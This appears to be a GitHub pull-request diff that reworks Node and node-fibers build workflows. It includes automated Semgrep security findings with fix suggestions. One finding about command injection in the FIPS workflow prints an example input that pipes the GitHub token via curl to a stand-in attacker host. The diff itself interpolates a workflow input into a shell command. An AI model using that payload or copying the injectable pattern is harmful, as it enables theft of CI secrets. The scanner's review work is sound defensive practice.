Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
26 commits
Select commit Hold shift + click to select a range
6f70fb0
Initial patch
JackStrohm-asana Feb 3, 2026
a8d4c9b
s3 staging script
JackStrohm-asana Feb 4, 2026
0c1288a
script to build locally instead of using docker containers which don'…
JackStrohm-asana Feb 4, 2026
5e0424e
update github actions to build node fibers
JackStrohm-asana Feb 4, 2026
2d64ee8
fix node-fibers branchname
JackStrohm-asana Feb 4, 2026
b9b6b32
update staging directory
JackStrohm-asana Feb 4, 2026
b577cda
Add fips build workflow
JackStrohm-asana Feb 10, 2026
ba48e86
change fiber and package build triggers
JackStrohm-asana Feb 10, 2026
9977ae6
try to fix network errors on apt-get
JackStrohm-asana Feb 10, 2026
2118248
working on apt-get failures
JackStrohm-asana Feb 10, 2026
5122fc2
removed push trigger
JackStrohm-asana Feb 10, 2026
9260bf1
another test
JackStrohm-asana Feb 10, 2026
cf4884d
switch FIPS Dockerfile to Ubuntu 20.04
JackStrohm-asana Feb 10, 2026
3814757
revert FIPS Dockerfile to Ubuntu 22.04
JackStrohm-asana Feb 10, 2026
0824123
add robust retry logic to FIPS Dockerfile apt-get
JackStrohm-asana Feb 10, 2026
39bd639
consolidate all apt-get commands into single retry block
JackStrohm-asana Feb 10, 2026
18a6979
add robust retry logic to regular Node Dockerfile
JackStrohm-asana Feb 10, 2026
99fede0
rename build workflows for clarity
JackStrohm-asana Feb 10, 2026
0f26935
added fips to the staging script to make sure we don't have cache issues
JackStrohm-asana Feb 11, 2026
829e1c9
make staging do fips and update asana codez codebase
JackStrohm-asana Feb 11, 2026
6dad6fe
update lockfile instructions
JackStrohm-asana Feb 11, 2026
ab57e94
fix staging script: validate fibers archive and fix node_setup.bzl up…
JackStrohm-asana Mar 2, 2026
bd560ee
Untested support for profiler
JackStrohm-asana Mar 5, 2026
d2b5f7f
Install node-gyp before rebuilding pprof native binding
JackStrohm-asana Mar 5, 2026
17f3b44
Fix pprof native build: use --build-from-source and find .node output
JackStrohm-asana Mar 5, 2026
19c9937
Merge branch 'v22.23.4' into v22.21.1-before-cherry-pick
nneha-a Oct 23, 2026
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
47 changes: 17 additions & 30 deletions .github/workflows/build-node-fibers.yml
Original file line number Diff line number Diff line change
@@ -1,14 +1,17 @@
name: Build node-fibers with prebuilt Node
name: Build Custom Fibers

on:
workflow_dispatch:
workflow_run:
workflows: [Build Node]
workflows: ["Build Node (Standard)"]
types:
- completed
branches:
- v22.21.1

jobs:
build-fibers:
if: ${{ github.event_name == 'workflow_dispatch' || github.event.workflow_run.conclusion == 'success' }}
strategy:
matrix:
include:
Expand All @@ -21,9 +24,12 @@ jobs:
runs-on: ${{ matrix.runs_on }}

env:
NODE_VERSION: v20.18.3
NODE_VERSION: v22.21.1

steps:
- name: Checkout repository
uses: actions/checkout@v3

- name: Debug Matrix Values
run: |
echo "Matrix platform: ${{ matrix.platform }}"
Expand All @@ -34,39 +40,20 @@ jobs:
gh release download node-${{ env.NODE_VERSION }}-release \
--repo asana/node \
--pattern "node-${{ env.NODE_VERSION }}-${{ matrix.platform }}-${{ matrix.arch }}-LATEST.tar.xz"
mv node-${{ env.NODE_VERSION }}-${{ matrix.platform }}-${{ matrix.arch }}-LATEST.tar.xz node.tar.xz
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

- name: Extract Node archive
run: |
mkdir -p node-install
tar -C node-install -xJf node-${{ env.NODE_VERSION }}-${{ matrix.platform }}-${{ matrix.arch }}-LATEST.tar.xz
echo "$GITHUB_WORKSPACE/node-install/usr/local/bin" >> $GITHUB_PATH

- name: Verify Node Binary Architecture
- name: Execute the Dockerfile
run: |
echo "Node File:"
file $GITHUB_WORKSPACE/node-install/usr/local/bin/node
echo "Runner architecture:"
uname -m

- name: Checkout node-fibers fork
uses: actions/checkout@v3
with:
repository: asana/node-fibers
ref: jackstrohm_node20_fibers
path: node-fibers
pwd
docker build -t node22_fibers_build -f Dockerfile.Fibers .

- name: Build node-fibers
working-directory: node-fibers
- name: Extract resources
run: |
which node
node -v
node -p "process.arch"
npm install --nodedir="$GITHUB_WORKSPACE/node-install/usr/local"
npm test || true
rm bin/repl
find .
docker create --name temp_node_fibers_extract node22_fibers_build
docker cp temp_node_fibers_extract:/usr/src/node/node-fibers $GITHUB_WORKSPACE/node-fibers
docker rm temp_node_fibers_extract

- name: Find and archive fibers.node
run: |
Expand Down
95 changes: 18 additions & 77 deletions .github/workflows/build-node-openssl-fips.yml
Original file line number Diff line number Diff line change
@@ -1,37 +1,22 @@
name: Build Node with options around OpenSSL dynamic linking and FIPS
name: Build Node (FIPS)

on:
workflow_dispatch:
inputs:
enableFips:
description: 'Whether OpenSSL should be FIPS-enabled'
default: true
type: boolean
dynamicLink:
description: 'If OpenSSL should be dynamically linked with node (rather than statically linked)'
default: false
type: boolean
sharedOpenSSLIncludes:
description: 'dir containing header files for OpenSSL'
default: ''
type: string
sharedOpenSSLLibname:
description: 'libname for dynamically linking to OpenSSL'
default: ''
type: string
sharedOpenSSLLibpath:
description: 'dir for searching for shared OpenSSL dlls'
default: ''
type: string
BUILD_REF:
description: 'ref to build'
description: 'Git ref to build Node.js from'
required: true
default: 'v22.21.1'
type: string
DOCKER_FILE:
description: 'Dockerfile to use for building Node.js'
required: true
default: 'main'
default: 'Dockerfile.Node22fips'
type: string

jobs:
build-node:
name: Build ${{ matrix.platform }}-${{ matrix.arch }} with statically-linked FIPS OpenSSL
name: Build ${{ matrix.platform }}-${{ matrix.arch }} with FIPS OpenSSL
strategy:
matrix:
include:
Expand All @@ -43,17 +28,13 @@ jobs:
runs_on: ubuntu-22.04-arm
runs-on: ${{ matrix.runs_on }}

env:
S3_BUCKET: your-bucket-name
AWS_REGION: us-east-1

steps:
- name: Checkout Node fork
uses: actions/checkout@v3
with:
repository: Asana/node
path: node
ref: ${{ BUILD_REF }}
ref: ${{ inputs.BUILD_REF }}
token: ${{ secrets.GITHUB_TOKEN }}

- name: Extract Node Version
Expand All @@ -74,56 +55,16 @@ jobs:
echo "BUILD_ID=${TIMESTAMP}-${SHORT_SHA}" >> $GITHUB_ENV
echo "build_id=${TIMESTAMP}-${SHORT_SHA}" >> $GITHUB_OUTPUT
- name: Install dependencies (Linux)
if: matrix.platform == 'linux'
run: |
sudo apt-get update
sudo apt-get install -y python3 g++ make curl tar xz-utils
- name: Configure OpenSSL for fips
id: openssl-is-fips
if: inputs.enableFips
run: |
./configure --openssl-is-fips
- name: Dynamically link OpenSSL in Node.js
id: openssl-dynamic-link
if: inputs.dynamicLink
run: |
./configure --shared-openssl
- name: Define headers for OpenSSL
id: openssl-dynamic-link-headers
if: ${{ !empty(inputs.sharedOpenSSLIncludes) }}
run: |
./configure --shared-openssl-includes ${{inputs.sharedOpenSSLIncludes}}
- name: alternative libname for openssl
id: openssl-dynamic-link-libname
if: ${{ !empty(inputs.sharedOpenSSLLibname) }}
run: |
./configure --shared-openssl-libname ${{inputs.sharedOpenSSLLibname}}
- name: Define headers for OpenSSL
id: openssl-dynamic-link-libpath
if: ${{ !empty(inputs.sharedOpenSSLLibpath) }}
run: |
./configure --shared-openssl-includes ${{inputs.sharedOpenSSLLibpath}}
- name: Build Node (linux)
- name: Execute the Dockerfile
working-directory: node
if: matrix.platform == 'linux'
run: |
./configure --experimental-enable-pointer-compression
make -j4 install DESTDIR=$GITHUB_WORKSPACE/node-install
docker build -t node22_fips_build -f ./${{ inputs.DOCKER_FILE }} .
Comment on lines 60 to 62

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟠 High severity blocking issue identified in your code:

The untrusted inputs.DOCKER_FILE value is interpolated into a shell command, allowing command injection on the GitHub Actions runner. An attacker can execute commands and potentially steal tokens, secrets, source code, or build artifacts.

More details about this

inputs.DOCKER_FILE is inserted directly into a shell command. Because workflow inputs can be supplied or influenced by an untrusted workflow invocation, shell metacharacters in that value are executed by the runner rather than treated as part of the Dockerfile path.

For example, an attacker could provide this input:

Dockerfile; echo "$GITHUB_TOKEN" | curl -X POST --data-binary @- https://attacker.example/collect; #

The step would effectively run:

docker build -t node22_fips_build -f ./Dockerfile
echo "$GITHUB_TOKEN" | curl -X POST --data-binary @- https://attacker.example/collect
# .

The injected command runs on the same GitHub Actions runner as docker build, so it can read accessible environment variables, workspace files, checked-out Node source, Docker credentials, and other tokens or secrets available to the job. An attacker could then use those credentials to access repositories, publish modified artifacts, or exfiltrate source code.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
run: |
./configure --experimental-enable-pointer-compression
make -j4 install DESTDIR=$GITHUB_WORKSPACE/node-install
docker build -t node22_fips_build -f ./${{ inputs.DOCKER_FILE }} .
env:
DOCKER_FILE: ${{ inputs.DOCKER_FILE }}
run: |
docker build -t node22_fips_build -f "./$DOCKER_FILE" .
View step-by-step instructions
  1. Add an env entry to the Execute the Dockerfile step to transfer the workflow input into an environment variable:
    DOCKER_FILE: ${{ inputs.DOCKER_FILE }}

  2. Replace the direct expression in the shell command with the quoted environment variable:
    docker build -t node22_fips_build -f "./$DOCKER_FILE" .

  3. If only specific Dockerfiles are valid, validate DOCKER_FILE against an allowlist before running Docker, such as case "$DOCKER_FILE" in Dockerfile|Dockerfile.*) ;; *) exit 1 ;; esac.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.

Please reach out to Security (go/sec-inbox) if you need help with this.

You can view more details about this finding in the Semgrep AppSec Platform.

- name: Build Node (darwin)
working-directory: node
if: matrix.platform == 'darwin'
- name: Extract resources
run: |
./configure --experimental-enable-pointer-compression --without-snapshot
make -j2 install DESTDIR=$GITHUB_WORKSPACE/node-install
docker create --name temp_node_extract node22_fips_build
docker cp temp_node_extract:/usr/src/node/node-install $GITHUB_WORKSPACE/node-install
docker rm temp_node_extract
- name: Archive Node
run: |
Expand All @@ -150,8 +91,8 @@ jobs:
- name: Upload Node archive to release
uses: softprops/action-gh-release@v1
with:
name: node-${{ env.NODE_VERSION }}-fips-static-LATEST
tag_name: node-${{ env.NODE_VERSION }}-fips-static-release
name: node-${{ env.NODE_VERSION }}-fips-LATEST
tag_name: node-${{ env.NODE_VERSION }}-fips-release
files: ./artifacts/${{ env.NODE_ARCHIVE_LATEST }}
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
112 changes: 13 additions & 99 deletions .github/workflows/build-node-packages.yml
Original file line number Diff line number Diff line change
Expand Up @@ -12,63 +12,37 @@ on:
jobs:
build-packages:
if: ${{ github.event_name == 'workflow_dispatch' || github.event.workflow_run.conclusion == 'success' }}
permissions:
id-token: write
contents: write
strategy:
matrix:
include:
- platform: linux
arch: x64
bazel_arch: amd64
runs_on: ubuntu-22.04
- platform: linux
arch: arm64
bazel_arch: arm64
runs_on: ubuntu-22.04-arm
runs-on: ${{ matrix.runs_on }}

env:
NODE_VERSION: v22.21.1
PLATFORM: ${{ matrix.platform }}
ARCH: ${{ matrix.arch }}
BAZEL_ARCH: ${{ matrix.bazel_arch }}
REPO: ${{ github.repository }}

steps:
# Check out the v22.21.1 branch (not the workflow's default branch) so that
# Dockerfile.Packages and the Node source tree are present. The workflow YAML
# itself runs from whichever ref triggered it (main for workflow_dispatch, or
# v22.21.1 for workflow_run) — that's what the OIDC subject claim binds to,
# and it's how the IAM role's ref_patterns gate works. `ref:` here only
# controls which tree gets checked out into $GITHUB_WORKSPACE.
#
# Security note: v22.21.1 is not a protected branch, so in principle any of
# the repo's ~530 collaborators could push a malicious Dockerfile.Packages
# and have this workflow build+upload the resulting image. That same risk
# already existed for the Node source itself (which also lives on this
# branch), so this change does not expand the attack surface. A follow-up
# PR will propose a structural fix (branch protection, patch series, or
# submodule model) — tracked in our internal project notes.
- name: Checkout repository
uses: actions/checkout@v3
with:
ref: ${{ env.NODE_VERSION }}

- name: Debug Matrix Values
run: |
echo "Matrix platform: $PLATFORM"
echo "Matrix arch: $ARCH"
echo "Matrix platform: ${{ matrix.platform }}"
echo "Matrix arch: ${{ matrix.arch }}"
- name: Download Node archive
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
ASSET="node-${NODE_VERSION}-${PLATFORM}-${ARCH}-LATEST.tar.xz"
gh release download "node-${NODE_VERSION}-release" \
gh release download node-${{ env.NODE_VERSION }}-release \
--repo asana/node \
--pattern "$ASSET"
mv "$ASSET" node.tar.xz
--pattern "node-${{ env.NODE_VERSION }}-${{ matrix.platform }}-${{ matrix.arch }}-LATEST.tar.xz"
mv node-${{ env.NODE_VERSION }}-${{ matrix.platform }}-${{ matrix.arch }}-LATEST.tar.xz node.tar.xz
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

- name: Execute the Dockerfile
run: |
Expand All @@ -91,73 +65,13 @@ jobs:
mv node_modules/cld ./cld@2.9.1/node_modules/
mv node_modules/unix-dgram ./unix-dgram@2.0.6/node_modules/
mv "node_modules/@datadog/pprof" "./@datadog+pprof@5.8.0/node_modules/@datadog/"
tar --hard-dereference -cvzf "packages_${ARCH}.tar.gz" bcrypt@5.1.0 cld@2.9.1 unix-dgram@2.0.6 "@datadog+pprof@5.8.0"
tar --hard-dereference -cvzf packages_${{matrix.arch}}.tar.gz bcrypt@5.1.0 cld@2.9.1 unix-dgram@2.0.6 "@datadog+pprof@5.8.0"
- name: Upload archive to release
# Use `gh release upload` (first-party GitHub CLI, pre-installed on runners)
# instead of softprops/action-gh-release (one-maintainer third-party action).
# Behavior: --clobber overwrites an existing asset with the same name, matching
# softprops's default. The release must already exist (created by build-node.yml).
uses: softprops/action-gh-release@v1

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Medium severity blocking issue identified in your code:

The Upload archive to release step trusts the mutable softprops/action-gh-release@v1 tag. A repointed tag could execute attacker-controlled code with workspace access and GITHUB_TOKEN permissions, compromising the generated Node packages release.

More details about this

The workflow runs softprops/action-gh-release@v1, so the action is selected by the mutable v1 tag rather than an immutable commit. The tag owner—or an attacker who compromises that repository—could repoint v1 to a malicious revision. On a subsequent workflow run, that revision would execute in the Upload archive to release step with GITHUB_TOKEN and access to the workspace, allowing it to read or alter packages_${{matrix.arch}}.tar.gz, modify the node-${{ env.NODE_VERSION }}-release GitHub release, or exfiltrate repository data and token-authorized secrets. For example, after v1 is repointed, a run for matrix.arch=amd64 could upload an attacker-controlled archive under the expected release name while the workflow appears unchanged.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable v1 reference with the full 40-character commit SHA for the trusted softprops/action-gh-release release you intend to use:
    uses: softprops/action-gh-release@<40-character-commit-sha>

  2. Verify that the SHA belongs to the official softprops/action-gh-release repository and corresponds to the expected release before adding it.

  3. Optionally retain the release name in a YAML comment so the pinned version remains identifiable, for example:
    uses: softprops/action-gh-release@<40-character-commit-sha> # v1.x.x

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

Please reach out to Security (go/sec-inbox) if you need help with this.

You can view more details about this finding in the Semgrep AppSec Platform.

with:
name: node-${{ env.NODE_VERSION }}-LATEST
tag_name: node-${{ env.NODE_VERSION }}-release
files: packages_${{matrix.arch}}.tar.gz
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh release upload "node-${NODE_VERSION}-release" \
"packages_${ARCH}.tar.gz" \
--clobber \
--repo "$REPO"
# S3 upload is restricted to the protected main branch only. The IAM role
# (push_node_gyp_packages) trusts only refs/heads/main via OIDC. To upload
# packages to S3 after a Node upgrade, trigger workflow_dispatch from main.
- name: Configure AWS credentials
if: github.ref == 'refs/heads/main'
uses: aws-actions/configure-aws-credentials@v4
with:
aws-region: us-east-1
role-to-assume: arn:aws:iam::403483446840:role/autogen_github_actions_beta_push_node_gyp_packages

- name: Upload packages to S3
if: github.ref == 'refs/heads/main'
run: |
# Upload to s3://asana-oss-cache/node-gyp/... (CloudFront path_patterns entry
# added in codez PR #390222 — that must be merged + applied via Spacelift
# before this workflow can successfully publish fetchable objects).
#
# No --acl public-read: the bucket has BucketOwnerEnforced
# (disable_confusing_acls = true), which disables ACLs entirely.
# BlockPublicAcls + IgnorePublicAcls provide additional coverage.
# Reads come via CloudFront OAC.
NODE_MAJOR=$(echo "$NODE_VERSION" | sed 's/^v//' | cut -d. -f1)
SHA256=$(sha256sum "packages_${ARCH}.tar.gz" | awk '{print $1}')
SHORT_HASH=${SHA256:0:8}
S3_KEY="node-gyp/packages_${BAZEL_ARCH}_node${NODE_MAJOR}-${SHORT_HASH}.tar.gz"
echo "Uploading packages_${ARCH}.tar.gz to s3://asana-oss-cache/$S3_KEY"
aws s3 cp "packages_${ARCH}.tar.gz" "s3://asana-oss-cache/$S3_KEY"
{
echo "S3_KEY=$S3_KEY"
echo "SHA256=$SHA256"
echo "NODE_MAJOR=$NODE_MAJOR"
} >> "$GITHUB_ENV"
- name: Verify upload is reachable via CloudFront
if: github.ref == 'refs/heads/main'
run: |
# Mac Bazel builds rewrite asana-oss-cache.s3.us-east-1.amazonaws.com/*
# to asana-oss-cache.asana.biz/* (CloudFront). If the S3 key prefix isn't
# allowlisted in CloudFront's path_patterns, Bazel fetches will 403.
# Fail fast here rather than after someone tries to build.
URL="https://asana-oss-cache.asana.biz/$S3_KEY"
echo "Checking $URL"
if ! curl -fsSI "$URL"; then
echo "CloudFront returned an error for $URL. Check path_patterns in system_packages.tf."
exit 1
fi
- name: Print tools_repositories.bzl stanza
if: github.ref == 'refs/heads/main'
run: |
echo ""
echo "=== Update tools_repositories.bzl in codez ==="
echo " name = \"node_gyp_packages_${BAZEL_ARCH}_node${NODE_MAJOR}\","
echo " urls = [\"https://asana-oss-cache.s3.us-east-1.amazonaws.com/$S3_KEY\"],"
echo " sha256 = \"$SHA256\","
Loading
Loading